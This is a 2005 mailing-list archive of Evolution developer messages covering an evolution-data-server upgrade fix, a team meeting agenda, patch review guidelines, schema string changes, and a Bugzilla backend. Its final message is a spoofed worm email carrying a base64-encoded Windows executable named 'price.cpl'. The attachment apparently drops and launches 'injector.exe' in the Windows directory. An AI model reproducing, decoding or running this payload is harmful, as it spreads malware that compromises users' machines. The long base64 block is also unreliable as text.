evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Le lundi 07 février 2005 à 13:28 -0500, Rodney Dawes a écrit : > On Mon, 2005-02-07 at 11:32 +0100, Damien Sandras wrote: > > Hello to all, > > > > I noticed a potential problem with the new Evolution-Data-Server 1.2. > > Some GnomeMeeting users do not use Evolution as mail client, but they > > are still "forced" to use Evolution-Data-Server as backend in order to > > store GnomeMeeting contacts in the address book. > > > When upgrading to Evolution-Data-Server 1.2, things do not work anymore > > until they launch the new Evolution that will do an "address book > > migration". > > Things don't work how? The backend hasn't changed for the address book, > and the gconf keys haven't changed in format or anything either. I think > this is just a bug, and not necessarily a need to run migration. OK the solution is simple : The problem only arises when evolution-data-server 1.2 and 1.0 are running at the same time. So the fix is to kill e-d-s 1.0 and things work again. Thanks, -- _ Damien Sandras (o- GnomeMeeting: http://www.gnomemeeting.org/ //\ FOSDEM 2005 : http://www.fosdem.org v_/_ H.323 phone : callto:ils.seconix.com/dsandras@seconix.com From jpr@novell.com Mon Feb 7 15:36:02 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id B642E1248B3; Mon, 7 Feb 2005 15:35:58 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id C0EC2124898 for ; Mon, 7 Feb 2005 15:35:46 -0500 (EST) Received: from [151.155.11.182] ([137.65.81.216]) by lyle.provo.novell.com; Mon, 07 Feb 2005 13:35:36 -0700 From: JP Rosevear To: gene-pool@ximian.com Cc: Evolution Hackers mailing list Content-Type: text/plain Organization: Novell, Inc. Date: Mon, 07 Feb 2005 15:35:24 -0500 Message-Id: <1107808524.26032.5.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=5.4 required=5.0 tests=BAYES_30,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ***** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] *Wednesday* 10 am Team Meeting Agenda and IRC Information Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: Novell people, send a status report if you can't make it. 10am Boston time (UTC -0500) on Wednesday. This meeting will take place on irc.gimp.org, #evolution-meet 1. JP -2.1 development status -2.1 String freeze -2.1 notification reminder -Patch review mode reminder -2.0.4 bugs and timeline 2. Team -individual status reports 3. Additional Business -questions, concerns, etc. -JP -- JP Rosevear Novell, Inc. From owner-evolution-hackers@skeptopotamus.ximian.com Mon Feb 7 18:16:31 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id F3518124640; Mon, 7 Feb 2005 18:16:30 -0500 (EST) Received: from skeptopotamus.ximian.com (skeptopotamus.ximian.com [130.57.169.16]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "mail.cam.novell.com", Issuer "Equifax" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 1157D12418D for ; Mon, 7 Feb 2005 18:16:19 -0500 (EST) Received: by skeptopotamus.ximian.com (Postfix) id C6D23640F3; Mon, 7 Feb 2005 18:16:18 -0500 (EST) Delivered-To: evolution-hackers@ximian.com Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by skeptopotamus.ximian.com (Postfix) with ESMTP id 5B3AF640C3 for ; Mon, 7 Feb 2005 18:16:18 -0500 (EST) Received: from bishop.dnsdhcp.provo.novell.com ([137.65.81.216]) by lyle.provo.novell.com; Mon, 07 Feb 2005 16:16:06 -0700 From: JP Rosevear To: evolution-hackers@ximian.com Content-Type: text/plain Organization: Novell, Inc. Date: Mon, 07 Feb 2005 18:15:55 -0500 Message-Id: <1107818155.19112.6.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=7.0 required=5.0 tests=RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******* X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Patch Review Mode Guideline Update Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: The following are the guidelines for the 2.1 patch review mode. We still need one more reviewer for GtkHTML. Starting Tuesday Feb. 8th, 2005 at 00:01 Boston time, patch review mode will be in effect: * Every patch will be sent to evolution-patches@ximian.com and conform to the guidelines at http://www.gnome.org/projects/evolution/patch.shtml * Every patch will have to be on the list for at least 24 hours before being committed. A week-end (Saturday+Sunday) counts as a single 24-hour day. * Core maintainers are required to give their opinion on the bug in the 24 hour period. * Core maintainers are defined as follows: Addressbook (Evolution and EDS): Sivaiah N Hans Petter Jennson Calendar (Evolution and EDS): Rodrigo Moya Harish Krishnaswamy GtkHTML: Radek Doulik Mailer (Evolution and EDS): Jeffrey Stedfast Michael Zucchi Groupwise (EDS): Sivaiah N Harish Krishnaswamy Chenthill Palanisamy Shell: JP Rosevear Michael Zucchi GAL: Any of the maintainers listed above * Once the patch has been committed, it is repsonsibility of the person who commits to: - Close the corresponding bug on Bugzilla. - Write to the mailing list, replying to the original message containing the patch to inform the other hackers that the patch has been committed. -JP -- JP Rosevear Novell, Inc. From jpr@novell.com Mon Feb 7 19:39:41 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 78A171243F7; Mon, 7 Feb 2005 19:39:41 -0500 (EST) Received: from lyle.provo.novell.com (lyle.provo.novell.com [137.65.81.174]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client CN "imap.novell.com", Issuer "SERVICES2" (not verified)) by lists.ximian.com (Postfix) with ESMTP id 0B9D0124640 for ; Mon, 7 Feb 2005 19:39:29 -0500 (EST) Received: from bishop.dnsdhcp.provo.novell.com ([137.65.81.216]) by lyle.provo.novell.com; Mon, 07 Feb 2005 17:39:24 -0700 Subject: Re: [Evolution-hackers] Re: Schema file issues From: JP Rosevear To: Danilo =?iso-8859-2?Q?=A9egan?= Cc: Evolution Hackers mailing list , Gnome-i18n@gnome.org In-Reply-To: <874qgsyoi5.fsf@avet.kvota.net> References: <1107538072.7848.26.camel@bishop.rosevear.com> <874qgsyoi5.fsf@avet.kvota.net> Content-Type: text/plain; charset=utf-8 Date: Mon, 07 Feb 2005 19:39:12 -0500 Message-Id: <1107823152.19112.11.camel@bishop.rosevear.com> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 Content-Transfer-Encoding: 8bit X-Spam-Status: No, hits=-18.9 required=5.0 tests=EMAIL_ATTRIBUTION,IN_REP_TO,QUOTED_EMAIL_TEXT,RCVD_IN_ORBS, RCVD_IN_OSIRUSOFT_COM,REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: On Fri, 2005-02-04 at 23:00 +0100, Danilo Å egan wrote: > Hi, > > Today at 18:27, JP Rosevear wrote: > > > So, my original task morphed somewhat and I ended up tidying up the > > contacts, calendar and shell schema files (and cropped up some > > additional issues below), I started on the mailer but it has more than > > the other three combined so I started to get worried about the number of > > string changes this might involve total, so I'm CC'ing the gnome-i18n > > team as well. > > I feel if these are going to go in, they should go in now. Freeze is > there for translators, but before the freeze, all changes are welcome > unless they unnecessarily burden some teams. Consistency is what > translators very much prefer, so it's better done now than later > forgotten. > > According to last update, we also have problems updating evolution POT > files in our stats, so that may be of bigger influence than these > changes (depending on how long this is the case). > > This might be only GTP's problem (i.e. wrong POT filename listed in > cvs.gnome.org:gnome-i18n/status/data/translation-status.xml), but it > might be a problem in Evolution itself. According to > http://l10n-status.gnome.org/gnome-2.10/nds_DE/desktop/index.html > there're problems in all of evolution, e-d-s and evolution-exchange. For me all modules at this link are now red (or yellow). Note that evolution versions the GETTEXT_PACKAGE to allow for parallel installs in some cases (e-d-s, gal, evolution-exchange and gtkhhtml all do this) > So, you have my support, if that's of any significance. Of course, I > hope the extent of the changes is not such as to make Evolution > completely untranslated, because it's still one of the biggest modules > in Gnome :) This particular change just affects the schema files. I've committed it the changes except for the mail part because its so large and I haven't finished it yet. If its a big deal, let me know, we can always revert it. -JP -- JP Rosevear From notzed@ximian.com Mon Feb 7 21:54:01 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 680D112410D; Mon, 7 Feb 2005 21:54:01 -0500 (EST) Received: from peabody.ximian.com (peabody.ximian.com [130.57.169.10]) (using TLSv1 with cipher EDH-RSA-DES-CBC3-SHA (168/168 bits)) (Client did not present a certificate) by lists.ximian.com (Postfix) with ESMTP id ECB7712437B for ; Mon, 7 Feb 2005 21:53:49 -0500 (EST) Received: (qmail 29451 invoked from network); 8 Feb 2005 02:53:48 -0000 Received: from localhost (HELO ?192.168.0.100?) (127.0.0.1) by localhost with SMTP; 8 Feb 2005 02:53:48 -0000 Subject: Re: [Evolution-hackers] Schema file issues From: Not Zed To: JP Rosevear Cc: Evolution Hackers mailing list , Gnome-i18n@gnome.org In-Reply-To: <1107756940.12870.1.camel@bishop.rosevear.com> References: <1107538072.7848.26.camel@bishop.rosevear.com> <1107565803.26413.16.camel@lostzed.mmc.com.au> <1107756940.12870.1.camel@bishop.rosevear.com> Content-Type: multipart/alternative; boundary="=-TAkmk6lmZH2dIWCZF62z" Date: Tue, 08 Feb 2005 10:48:40 +0800 Message-Id: <1107830920.4518.16.camel@lostzed.mmc.com.au> Mime-Version: 1.0 X-Mailer: Evolution 2.1.4 X-Spam-Status: No, hits=-21.3 required=5.0 tests=BAYES_20,EMAIL_ATTRIBUTION,HTML_30_40,IN_REP_TO, QUOTED_EMAIL_TEXT,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM, REFERENCES,REPLY_WITH_QUOTES autolearn=ham version=2.53 X-Spam-Level: X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: --=-TAkmk6lmZH2dIWCZF62z Content-Type: text/plain Content-Transfer-Encoding: 7bit Well you asked for an opinion. On Mon, 2005-02-07 at 01:15 -0500, JP Rosevear wrote: > On Sat, 2005-02-05 at 09:10 +0800, Not Zed wrote: > > > > My opinion is 'who cares', its only for the registry editor, which > > shouldn't ever be being used anyway, if all things are working > > properly. > > Well, I do and so do the translators at least. There were also non > string related items in the mail - dead keys, keys in possibly the wrong > spot and schema file naming which need addressing. > > -JP --=-TAkmk6lmZH2dIWCZF62z Content-Type: text/html; charset=utf-8 Content-Transfer-Encoding: 7bit
Well you asked for an opinion.

On Mon, 2005-02-07 at 01:15 -0500, JP Rosevear wrote: 
On Sat, 2005-02-05 at 09:10 +0800, Not Zed wrote:
> 
> My opinion is 'who cares', its only for the registry editor, which
> shouldn't ever be being used anyway, if all things are working
> properly.

Well, I do and so do the translators at least.  There were also non
string related items in the mail - dead keys, keys in possibly the wrong
spot and schema file naming which need addressing.

-JP
--=-TAkmk6lmZH2dIWCZF62z-- From mike@axl.net Tue Feb 8 00:22:46 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 7C49A1249DB; Tue, 8 Feb 2005 00:22:46 -0500 (EST) Received: from europa.axl.net (axl.net [216.66.11.100]) by lists.ximian.com (Postfix) with SMTP id A8CBB124B8F for ; Tue, 8 Feb 2005 00:22:34 -0500 (EST) Received: (qmail 6182 invoked from network); 8 Feb 2005 05:22:34 -0000 Received: from pool-162-83-196-4.ny5030.east.verizon.net (HELO ?192.168.1.103?) (162.83.196.4) by axl.net with SMTP; 8 Feb 2005 05:22:34 -0000 From: Michael Henson To: evolution-hackers@lists.ximian.com Content-Type: text/plain Date: Tue, 08 Feb 2005 00:20:40 -0500 Message-Id: <1107840041.5476.6.camel@localhost> Mime-Version: 1.0 X-Mailer: Evolution 2.1.3.2 Content-Transfer-Encoding: 7bit X-Spam-Status: Yes, hits=8.2 required=5.0 tests=RCVD_IN_NJABL,RCVD_IN_ORBS,RCVD_IN_OSIRUSOFT_COM version=2.53 X-Spam-Level: ******** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) X-Spam-Report: X-Spam-Flag: YES Subject: [Evolution-hackers] Bugzilla Backend Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: I have uploaded an initial implementation of the bugzilla backend for evo -- bug: http://bugzilla.gnome.org/show_bug.cgi?id=127558 Aside from a few rough edges it is mostly functional. There is a more complete writeup of the functionalities and limitations attached to the bug. I do, however have two questions: * What is the best way to handle adding the appropriate source groups? Currently the ui plugin requires the presence of a bugzilla:// group for it to be activated. * When creating a new task list you can choose to import a stored query. It would be great if I could set the name of the list to be the same as the query if no other name were set, but I can't find a clean way to do this and update the ui. Any suggestions? Any other suggestions would be most welcome. -- Michael From notzed@ximian.com Tue Feb 8 22:00:06 2005 Return-Path: Received: by lists.ximian.com (Postfix, from userid 38) id 8EB83124502; Tue, 8 Feb 2005 22:00:06 -0500 (EST) Received: from pc4.org (unknown [222.126.19.19]) by lists.ximian.com (Postfix) with SMTP id B4A9C12417C for ; Tue, 8 Feb 2005 21:59:47 -0500 (EST) Date: Wed, 09 Feb 2005 10:03:41 -0800 To: "Evolution-hackers" From: "Notzed" Message-ID: MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="--------oxbkhovhmnbptnahumzq" X-Spam-Status: No, hits=3.7 required=5.0 tests=DATE_IN_FUTURE_12_24,HTML_30_40,MICROSOFT_EXECUTABLE, MIME_HTML_ONLY version=2.53 X-Spam-Level: *** X-Spam-Checker-Version: SpamAssassin 2.53 (1.174.2.15-2003-03-30-exp) Subject: [Evolution-hackers] Re: Hi Sender: evolution-hackers-admin@lists.ximian.com Errors-To: evolution-hackers-admin@lists.ximian.com X-BeenThere: evolution-hackers@lists.ximian.com X-Mailman-Version: 2.0.13 Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: People writing code for Evolution List-Unsubscribe: , List-Archive: ----------oxbkhovhmnbptnahumzq Content-Type: text/html; charset="us-ascii" Content-Transfer-Encoding: 7bit :)
----------oxbkhovhmnbptnahumzq Content-Type: application/octet-stream; name="price.cpl" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="price.cpl" TVqQAAMAAAAEAAAA//8AALgAAAAAAAAAQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAgAAAAA4fug4AtAnNIbgBTM0hVGhpcyBwcm9ncmFtIGNhbm5vdCBiZSBydW4gaW4g RE9TIG1vZGUuDQ0KJAAAAAAAAABQRQAATAEDAA+kgUEAAAAAAAAAAOAADiELAQUMAAwAAAAC AAAAAAAAQBUAAAAQAAAAIAAAAAAAEAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAGqEAAAAAgAA AAAAAAIAAAAAABAAABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAADwUAAA8AAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAACAAACwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAACYFAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAC50 ZXh0AAAAIAoAAAAQAAAACAAAAAIAAAAAAAAAAAAAAAAAACAAAOAucmVsb2MAACoAAAAAIAAA AAIAAAAKAAAAAAAAAAAAAAAAAABAAABCAAAAAAAAAABqVAAAADAAAGpUAAAADAAAAAAAAAAA AAAAAAAAIAAA4AAAAAAAAAAAAAAAAAAAAABvcGVuAGZkZmRmZGdqa3RqeWZqZ3ZkaHR5dXJm ZmhneXR1a2doY2dkaHlyaXV0eWxoa2poZmp5cnVrZ2p2anV0bGhraGZ1a2dqaGZmeXV0aW95 amdoamh5dXRnamtoZnVrdGl5bGhqZ2ZkZmRmZGdoZ2hqeXVydXRpZ2toZmpndHVpdGtnaGp5 dXRpdmpma2hnaGR5amdoZ2ZqaGtna2poZ2prZnRqcmZqaGdmamhuYmhmZHJ2YmZudmRmZ2Jm dmZiaG1iZ25idmdoZ2Z2aGdkamdmZGZkZmRnaGdoamZrdXV0amJ5cnlyeXZ3YmF2c3Rlc2h2 c3Ryc3RyaHZydHdzdGh2ZHNocnZzaHJ0cmhzaHJkaGZkZ2ZqZ2ZkZmRmZGdoZ2hqZmdoam1m a3V0Ynl0eXV0YnV5dXlydHJ0cnl0cnl0eXZlcnRydHRnZnJ0cnR5cnl0amdmZGZkZmRnamdm aGpoamdra2pramtoamhramhmanlydWtnanZqdXRsaGtoZnVrZ2poZmZ5dXRpb3lqZ2hqaHl1 dGdqa2hmdWt0aXlsaGpnZmRmZGZkZ2hnaGp5dXJ1dGhqa2poa2hqa2xveXR5dXZqZmtoZ2hk eWpnaGdmamhrZ2tqaGdqa2Z0anJmamhnZmpobmJoZmRydmJmbnZkZmdiZnZmYmhtYmduYnZn aGdmdmhnZGpnZmRmZGZkZ2hnaGpma3V1dGpieXl1ABAAAAwAAADFNQAAZmV0ZXJ5dGV5Zmdl eXV0cnVpanN0cmh2cnR3c3RodmRzaHJ2c2hydHJoc2hyZGhmZGdmamdcY2plY3Rvci5leGUA ZmRmZGZkZ2hnZ2ZnZmpmamdqa2draGtqaGxraGxramxraGtoa2xqaGxramhsa2poamdmZGZk ZmZoZ2ZqaGZoZ2Zoamtna2toZ2RzaGZqZ2tobGprZmhobWZjZ2ZoZ2hqa2psZmhnamtqZ2Zz ZGdoampoa2xrO2xramxrZ2poa2xqZ3l0a3VnamhmeWpnZmpoZmhyZmpoeWZ0cnRocmZ0aGdm aHRoaGpra2pramdoa3Vqb3VpbGhqa2poeWt1aGtmaHRkZmh0cmpnamh5cmZodHJ0anlydHJ0 aHJ0eWVodGVlcmVkZ2ZkaGZkaGdkaHRkaHNlZ3JkcmVkaGZ5anJ0aGpnZmRmZHN5dHJ5cnRo ZmdiZmdoZ2draGxqa2ZoaG1mY2dmaGdoamtqbGZoZ2pramdmc2RnaGpqaGZnZmdqanV0eWl5 dWlpaXl0a3VnamhmeWpnZmpoZmhyZmpoeWZ0cnRocmZ0aGdmaHRoaGpra2pramdoa3VpdXlk ZnVqdHlrZ2pkc3dldHRlaGZnaGpnaHVneWpmZ2hmZ2h0cnRqeXJ0cnRocnR5ZWh0ZWVyZWRn ZmRoZmRoZ2RodGRoc2VncmRyZWRoZnlqcnRoamcAeBQAAAAAAAAAAAAAEBUAAJgUAACQFAAA AAAAAAAAAAAuFQAAsBQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAxBQAANIUAADgFAAA+BQAAAQV AAAAAAAAHhUAAAAAAADEFAAA0hQAAOAUAAD4FAAABBUAAAAAAAAeFQAAAAAAAHVzZXIzMi5k bGwAABoAQ2xvc2VIYW5kbGUAMABDcmVhdGVGaWxlQQBiAUdldFdpbmRvd3NEaXJlY3RvcnlB AACeAldyaXRlRmlsZQC1AmxzdHJjYXRBAABrZXJuZWwzMi5kbGwAAGcAU2hlbGxFeGVjdXRl QQBzaGVsbDMyLmRsbAAAAAAAAABVi+yDfQwBdUhoAAQAAGggFgAQ6KIAAAAzwmhhEgAQaCAW ABDonQAAAEFoIBYAEOgmAAAAC8B0GffQagBqAGoAaCAWABBoABAAEGoA6HsAAAC4AQAAAMnC DABVi+yDxPhTVjPbagBqAGoCagBqA2gAAADA/3UI6DkAAACQiUX4QHQjM8K+ADAAEK2SagCN RfxQUlb/dfjoJQAAAEj/dfjoCgAAAEOLw15bycIEAMz/JZgUABD/JZwUABD/JaAUABD/JaQU ABD/JagUABD/JbAUABAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAgAAAATzVbNWA1azWBNYY18DX2Nfw1AjYINg42 AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAZlQAAE1a AAABAAAAAgAAAP//AABAAAAAAAAAAEAAAAAAAAAAtEzNIQAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAEAAAABQRQAATAEFAAAAAAAAAAAAAAAAAOAADwELAQAAADoAAABKAAAAAAAAAKAAAAAQ AAAAUAAAAABAAAAQAAAAAgAABAAAAAAAAAAEAAAAAAAAAIL8AAAAAgAAAAAAAAIAAAAAABAA ABAAAAAAEAAAEAAAAAAAABAAAAAAAAAAAAAAAJyiAADRAAAAAPAAAIIMAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAUAAAsAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAACAAAAAA6AAAAAAAAujkAAAAQ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAEAAAMAADAAAAAAAAPIKAAAAUAAAAAAAAAAAAAAAAAAA AAAAAAAAAABAAADAADAAAAAAAAB1PAAAAGAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAwAAA AAAAAAAAAFAAAACgAAAARAAAAAIAAAAAAAAAAAAAAAAAAEAAAMAucnNyYwAAAIIMAAAA8AAA ggwAAABGAAAAAAAAAAAAAAAAAAAgAADgYOgBAAAA6IPEBOgBAAAA6V2B7dkhQADobwIAAOjr COsCzSD/JCSaZr5ycugBAAAAmlmNlUYiQADoAQAAAGlYZr9zZ+gqAgAAjVL56AEAAADoW2jM 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 